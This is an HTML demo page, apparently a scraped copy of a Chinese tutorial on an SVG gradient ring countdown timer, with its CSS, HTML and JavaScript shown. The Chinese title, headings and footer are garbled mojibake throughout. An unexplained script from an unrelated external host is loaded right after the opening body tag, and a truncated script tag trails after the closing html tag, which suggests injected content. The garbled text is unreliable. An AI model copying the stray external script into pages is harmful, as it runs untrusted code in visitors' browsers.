SVG涓庡褰╂笎鍙樺渾鐜€掕鏃舵晥鏋?禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <link rel="stylesheet" type="text/css" href="//qidian.gtimg.com/lulu/theme/peak/css/common/ui.css"> <link rel="stylesheet" type="text/css" href="//qidian.gtimg.com/lulu/theme/peak/css/common/animate.css"> <style type="text/css"> svg { transform: rotate(-0.05deg); } circle { transition: stroke-dasharray .2s; } .time-count-x { line-height: 1.5; width: 440px; position: relative; } .time-second { position: absolute; top: 50%; left: 0; right: 0; margin-top: -.75em; text-align: center; font-size: 100px; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>SVG涓庡褰╂笎鍙樺渾鐜€掕鏃舵晥鏋滃疄渚嬮〉闈?/h1> <a href="//olsonnd.com/wordpress/?p=4889" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part" style="width:45%;"> <h3>鏁堟灉锛?/h3> <div class="show"> <div class="demo"> <div id="timeCountX" class="time-count-x"> <svg width="440" height="440" viewBox="0 0 440 440" class="center"> <defs> <linearGradient x1="1" y1="0" x2="0" y2="0" id="gradient1"> <stop offset="0%" stop-color="#e52c5c"></stop> <stop offset="100%" stop-color="#ab5aea"></stop> </linearGradient> <linearGradient x1="1" y1="0" x2="0" y2="0" id="gradient2"> <stop offset="0%" stop-color="#4352f3"></stop> <stop offset="100%" stop-color="#ab5aea"></stop> </linearGradient> </defs> <g transform="matrix(0,-1,1,0,0,440)"> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="#f0f1f5" fill="none" stroke-dasharray="1069 1069"></circle> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="url('#gradient1')" fill="none" stroke-dasharray="1069 1069"></circle> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="url('#gradient2')" fill="none" stroke-dasharray="534.5 1069"></circle> </g> </svg> <span id="timeSecond" class="time-second"></span> </div> <p><a href="javascript:" class="ui-button ui-button-primary" onClick="fnTimeCount();">閲嶆柊鏉ヤ竴閬?/a></p> </div> </div> </div> <div id="code" class="part" style="width:55%;"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> svg { transform: rotate(-0.05deg); } circle { transition: stroke-dasharray .2s; } .time-count-x { line-height: 1.5; position: relative; } .time-second { position: absolute; top: 50%; left: 0; right: 0; margin-top: -.75em; text-align: center; font-size: 100px; } </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div id="timeCountX" class="time-count-x"> <svg width="440" height="440" viewBox="0 0 440 440" class="center"> <defs> <linearGradient x1="1" y1="0" x2="0" y2="0" id="gradient1"> <stop offset="0%" stop-color="#e52c5c"></stop> <stop offset="100%" stop-color="#ab5aea"></stop> </linearGradient> <linearGradient x1="1" y1="0" x2="0" y2="0" id="gradient2"> <stop offset="0%" stop-color="#4352f3"></stop> <stop offset="100%" stop-color="#ab5aea"></stop> </linearGradient> </defs> <g transform="matrix(0,-1,1,0,0,440)"> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="#f0f1f5" fill="none" stroke-dasharray="1069 1069"></circle> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="url('#gradient1')" fill="none" stroke-dasharray="1069 1069"></circle> <circle cx="220" cy="220" r="170" stroke-width="50" stroke="url('#gradient2')" fill="none" stroke-dasharray="534.5 1069"></circle> </g> </svg> <span id="timeSecond" class="time-second"></span> </div> </pre> <h5>JS浠ｇ爜锛?/h5> <pre name="code" class="js"> // 鍙傝椤甸潰婧愪唬鐮? </pre> </div> </div> </div> </div> <script> var eleCircles=document.querySelectorAll("#timeCountX circle");var eleTimeSec=document.getElementById("timeSecond");var perimeter=Math.PI*2*170;var circleInit=function(){if(eleCircles[1]){eleCircles[1].setAttribute("stroke-dasharray","1069 1069")}if(eleCircles[2]){eleCircles[2].setAttribute("stroke-dasharray",perimeter/2+" 1069")}eleTimeSec.innerHTML=""};var timerTimeCount=null;var fnTimeCount=function(b){if(timerTimeCount){return}var b=b||10;var a=function(){var c=b/10;if(eleCircles[1]){eleCircles[1].setAttribute("stroke-dasharray",perimeter*c+" 1069")}if(eleCircles[2]&&b<=5){eleCircles[2].setAttribute("stroke-dasharray",perimeter*c+" 1069")}if(eleTimeSec){eleTimeSec.innerHTML=b}b--;if(b<0){clearInterval(timerTimeCount);timerTimeCount=null;alert("鏃堕棿鍒帮紒");circleInit()}};a();timerTimeCount=setInterval(a,1000)};fnTimeCount(); </script>  <script src="https://qidian.gtimg.com/c/=/lulu/theme/peak/js/plugin/jquery.js,/lulu/theme/peak/js/common/ui/Loading.js,/lulu/theme/peak/js/common/ui/Dialog.js"></script> <script> window.alert = function (message) { new Dialog().alert('<p>' + message + '</p>'); }; </script> <script src="../js/hl_all.js"></script> <script> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys